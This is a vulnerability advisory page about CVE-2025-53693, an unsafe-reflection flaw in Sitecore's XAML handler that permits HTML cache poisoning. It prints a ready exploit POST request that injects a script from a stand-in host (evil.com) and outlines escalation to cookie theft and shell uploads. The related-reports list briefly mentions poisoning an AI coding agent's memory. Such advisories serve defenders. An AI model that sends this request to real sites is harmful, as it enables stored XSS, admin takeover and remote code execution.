CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2025-53693

Cache Me Outside: Sitecore Unsafe Reflection to RCE (CVE-2025-53693)

Alon Barad
Alon Barad
Software Engineer

Jan 30, 2026·6 min read·45 visits

Executive Summary (TL;DR)

Unauthenticated attackers can abuse the `/-/xaml/` endpoint to invoke the protected `AddToCache` method via reflection. This allows them to inject arbitrary HTML/JS into the server-side cache for any page, leading to stored XSS and eventual RCE.

A critical Unsafe Reflection vulnerability in Sitecore Experience Platform's XAML handler allows unauthenticated attackers to invoke arbitrary methods on server-side controls. By leveraging the `AddToCache` method within the `AjaxScriptManager`, attackers can poison the application's HTML cache, persistently injecting malicious JavaScript. This effectively turns the CMS into a watering hole, leading to Administrator account compromise and subsequent Remote Code Execution (RCE).

The Hook: Enterprise Complexity, Enterprise Problems

Sitecore is the leviathan of the CMS world. It’s not just a website builder; it’s an "Experience Platform." Under the hood, it’s a sprawling beast of .NET, legacy WebForms code, and modern MVC patterns all grafted together like a digital Frankenstein. Deep within this architecture lies the AjaxScriptManager, a component designed to handle asynchronous postbacks and dynamic UI updates. It’s the kind of utility that developers wrote in 2012 and everyone forgot about.

Here’s the problem: The AjaxScriptManager is too helpful. It exposes an endpoint—often /-/xaml/ or sitecore_xaml.ashx—that accepts parameters telling the server exactly which control to load and, crucially, which method to execute on that control. If that sounds like "Remote Code Execution as a Service," you're not far off.

In a world where we sanitize every input and output, Sitecore left a side door open that essentially says, "Tell me the function name, and I'll run it." They tried to lock it down with a whitelist, but as we'll see, the whitelist was checking the wrong ID at the club door.

The Flaw: Reflection Without Reflection

The vulnerability (CWE-470) stems from how the AjaxScriptManager handles the __PARAMETERS input. When a request hits the DispatchMethod function, the code parses this parameter to find a method name and its arguments. It then uses .NET Reflection to invoke that method on a target control specified by __SOURCE.

Now, Sitecore isn't completely negligent. They implemented a check to ensure you can't just call System.Diagnostics.Process.Start. The reflection target must be a "Sitecore control." Specifically, it checks if the target class is part of the Sitecore assembly ecosystem.

But here is the logic gap: The Sitecore.Web.UI.XmlControls.XmlControl class is definitely a Sitecore control. It passes the check with flying colors. The developers assumed that because it's a UI control, it only has harmless methods like Render() or DataBind(). They forgot about the utility methods inherited by these controls—specifically, methods designed to handle caching logic internally.

The Code: The Smoking Gun

The vulnerability shines brightest when you look at the XmlControl class, which many standard Sitecore UI elements (like the Header) inherit from. It implements a method called AddToCache.

Here is the logic flow that kills the application:

// Inside Sitecore.Web.UI.WebControls.AjaxScriptManager
protected void DispatchMethod(string methodName, object[] parameters)
{
    // 1. Resolve the control from __SOURCE
    Control control = this.FindControl(Request.Form["__SOURCE"]);
    
    // 2. Verify it's a "Safe" Sitecore control (spoiler: XmlControl is safe)
    if (IsSafeControl(control)) 
    {
        // 3. INVOKE ARBITRARY METHOD via Reflection
        // This allows invoking 'protected' methods due to loose binding flags
        control.GetType().GetMethod(methodName, ...).Invoke(control, parameters);
    }
}

And here is the method the attacker targets:

// Inside Sitecore.Web.UI.XmlControls.XmlControl
protected virtual void AddToCache(string cacheKey, string html)
{
    // Get the global HTML cache for the site
    HtmlCache htmlCache = CacheManager.GetHtmlCache(Sitecore.Context.Site); 
    
    if (htmlCache != null)
    {
        // 4. WRITE UNVALIDATED INPUT TO CACHE
        // The attacker controls 'cacheKey' and 'html' completely.
        htmlCache.SetHtml(cacheKey, html, this._cacheTimeout);
    }
}

There is absolutely no validation on the html content. You provide a string, and Sitecore dutifully stores it in RAM, waiting to serve it to the next visitor.

The Exploit: Poisoning the Well

To exploit this, we don't need to bypass authentication. We just need to construct a POST request that looks like a valid AJAX callback. The goal is to overwrite a legitimate cache key (like the one used for the site's main navigation or footer) with our malicious payload.

First, we need the __SOURCE. In standard Sitecore XAML pages, the ID ctl00_ctl00_ctl05_ctl03 often resolves to the GlobalHeader control. This control inherits from XmlControl, giving us access to AddToCache.

Here is the weaponized request:

POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/1.1
Host: victim.sitecore-instance.com
Content-Type: application/x-www-form-urlencoded
 
__ISEVENT=1
&__SOURCE=ctl00_ctl00_ctl05_ctl03
&__PARAMETERS=AddToCache("website_main_header", "<script src='//evil.com/hook.js'></script><div style='z-index:9999;position:fixed;top:0;left:0;width:100%;height:100%;background:red;'>SYSTEM COMPROMISED</div>")

The Execution Flow:

  1. Sitecore receives the request.
  2. AjaxScriptManager finds the control ctl00_ctl00_ctl05_ctl03.
  3. It reflects and finds the AddToCache method.
  4. It executes the method with our arguments.
  5. The cache key website_main_header is updated with our XSS payload.

Now, every single user (including Administrators) who visits the homepage receives our malicious JavaScript. No phishing required; the server serves the malware for us.

The Impact: From XSS to God Mode

You might be thinking, "It's just XSS? I thought you said Critical." In the context of a CMS, Stored XSS is often a death sentence. Sitecore is an administrative platform. When an administrator logs in to fix the "broken" header, your JavaScript executes in their browser context.

Once you have execution in an Admin's browser:

  1. Session Hijacking: Steal the ASP.NET_SessionId and authentication cookies.
  2. RCE Chaining: Sitecore has powerful built-in features for admins. You can upload .aspx shells via the Media Library, or modify XAML definitions to execute code.

Furthermore, this attack is persistent. A server restart might clear the cache, but until then, the site is effectively defaced or acting as a malware distribution point. If combined with CVE-2025-53691 (a deserialization flaw in the same patch cycle), an attacker can pivot from cache poisoning to direct RCE instantly.

The Fix: Closing the Window

Sitecore's response was swift (once watchTowr pointed it out). The mitigation involves strictly limiting which methods can be invoked via the AjaxScriptManager.

Immediate Actions:

  1. Patch: Install the cumulative hotfix provided in KB1003667. This introduces a whitelist of allowed methods that excludes dangerous utilities like AddToCache.
  2. WAF Rules: If you can't patch immediately, block all POST requests to /-/xaml/ and sitecore_xaml.ashx that contain the string AddToCache or __PARAMETERS with suspicious function calls.
  3. Network Segmentation: Why is your Sitecore Content Management (CM) interface exposed to the public internet? Put it behind a VPN. The Content Delivery (CD) servers usually don't need this handler enabled.

Don't rely on "security through obscurity." If your version allows reflection on XmlControl, you are vulnerable.

Official Patches

SitecoreSecurity Advisory for CVE-2025-53693

Technical Appendix

CVSS Score
9.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS Probability
0.17%
Top 62% most exploited

Affected Systems

Sitecore Experience Platform (XP) 9.0 - 9.3Sitecore Experience Platform (XP) 10.0 - 10.4Sitecore Experience Manager (XM) 9.0 - 9.3Sitecore Experience Manager (XM) 10.0 - 10.4

Affected Versions Detail

Product
Affected Versions
Fixed Version
Sitecore Experience Platform
Sitecore
9.0 - 9.3Hotfix KB1003667
Sitecore Experience Platform
Sitecore
10.0 - 10.4Hotfix KB1003667
AttributeDetail
CWE IDCWE-470
Attack VectorNetwork (Unauthenticated)
CVSS Score9.8 (Critical)
ImpactRCE / Stored XSS
Vulnerable ComponentAjaxScriptManager
MethodUnsafe Reflection

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1203Exploitation for Client Execution
Execution
T1552Unsecured Credentials
Credential Access
CWE-470
Unsafe Reflection

Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')

Known Exploits & Detection

watchTowr LabsOriginal research and PoC for Cache Poisoning via AjaxScriptManager
NucleiDetection Template Available

Vulnerability Timeline

CVE Published
2025-09-03
watchTowr Labs publishes technical details and PoC
2025-09-04

References & Sources

  • [1]watchTowr: Cache Me If You Can
  • [2]Sitecore KB1003667
Related Vulnerabilities
CVE-2025-53690CVE-2025-53691

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 6 hours ago•CVE-2026-53634
4.3

CVE-2026-53634: Missing Authorization in Code16 Sharp Quick Creation Command Controller

Code16 Sharp versions from 9.0.0 up to (but not including) 9.22.3 are vulnerable to a missing authorization flaw in the Quick Creation Command feature. The ApiEntityListQuickCreationCommandController fails to validate entity-level 'create' policies before returning administrative form designs or processing database modifications. Authenticated users with restricted access can bypass policy boundaries to access creation configurations and insert records.

Alon Barad
Alon Barad
5 views•5 min read
•about 6 hours ago•CVE-2026-49471
8.3

CVE-2026-49471: Unauthenticated Remote Code Execution in Serena MCP Toolkit via DNS Rebinding and Memory Poisoning

CVE-2026-49471 is a high-severity security vulnerability in Serena, an AI-assisted coding Model Context Protocol (MCP) toolkit. In versions prior to v1.5.2, Serena's built-in web dashboard exposes an unauthenticated Flask API on a predictable port. Lacking host validation and CSRF protections, this endpoint is vulnerable to DNS Rebinding. An attacker can lure a user to a malicious webpage, bypass the Same-Origin Policy (SOP), rewrite the AI agent's persistent memory, and execute arbitrary commands on the host operating system via the autonomous agent's shell execution engine.

Alon Barad
Alon Barad
8 views•5 min read
•about 6 hours ago•GHSA-MXWC-WH95-PW4G
5.3

GHSA-MXWC-WH95-PW4G: Denial of Service via Uncontrolled Recursion in Trapster DNS Parser

The trapster honeypot package is vulnerable to a remote denial of service (DoS) vulnerability due to uncontrolled recursion during the parsing of malformed DNS compression pointers in the decode_labels function.

Amit Schendel
Amit Schendel
6 views•6 min read
•about 7 hours ago•GHSA-Q95X-7G78-RCCV
6.3

GHSA-Q95X-7G78-RCCV: Safe Rust Memory Corruption via Use-After-Free in oneringbuf Crate

A critical Use-After-Free (UAF) memory corruption vulnerability exists in the oneringbuf Rust crate prior to version 0.8.0. The vulnerability allows safe Rust code to instantiate and clone reference wrappers that point to heap-allocated ring buffers. Dropping one wrapper prematurely reclaims the backing memory, leading to dangling pointer references and subsequent Use-After-Free or Double Free states.

Amit Schendel
Amit Schendel
6 views•7 min read
•about 20 hours ago•CVE-2026-53359
8.8

CVE-2026-53359: Use-After-Free in Linux Kernel KVM Shadow MMU (Januscape)

Januscape (CVE-2026-53359) is a critical Use-After-Free vulnerability in the x86 Shadow MMU component of the Linux Kernel's KVM subsystem. A logic error in shadow page tracking permits unauthorized page reuse without validating architectural execution roles, leading to dangling pointers in reverse mapping (rmap) tracking entries during guest memory teardown.

Amit Schendel
Amit Schendel
85 views•5 min read
•about 20 hours ago•CVE-2026-48282
10.0

CVE-2026-48282: Unauthenticated Path Traversal and Arbitrary File Write in Adobe ColdFusion Remote Development Services

CVE-2026-48282 is a critical unauthenticated path traversal and arbitrary file write vulnerability in the Remote Development Services (RDS) component of Adobe ColdFusion. The vulnerability allows a remote, unauthenticated attacker to bypass directory boundaries and write arbitrary files, including CFML-based web shells, onto the host server. This flaw is actively exploited in the wild and enables full unauthenticated remote code execution under the privileges of the ColdFusion service account.

Alon Barad
Alon Barad
41 views•6 min read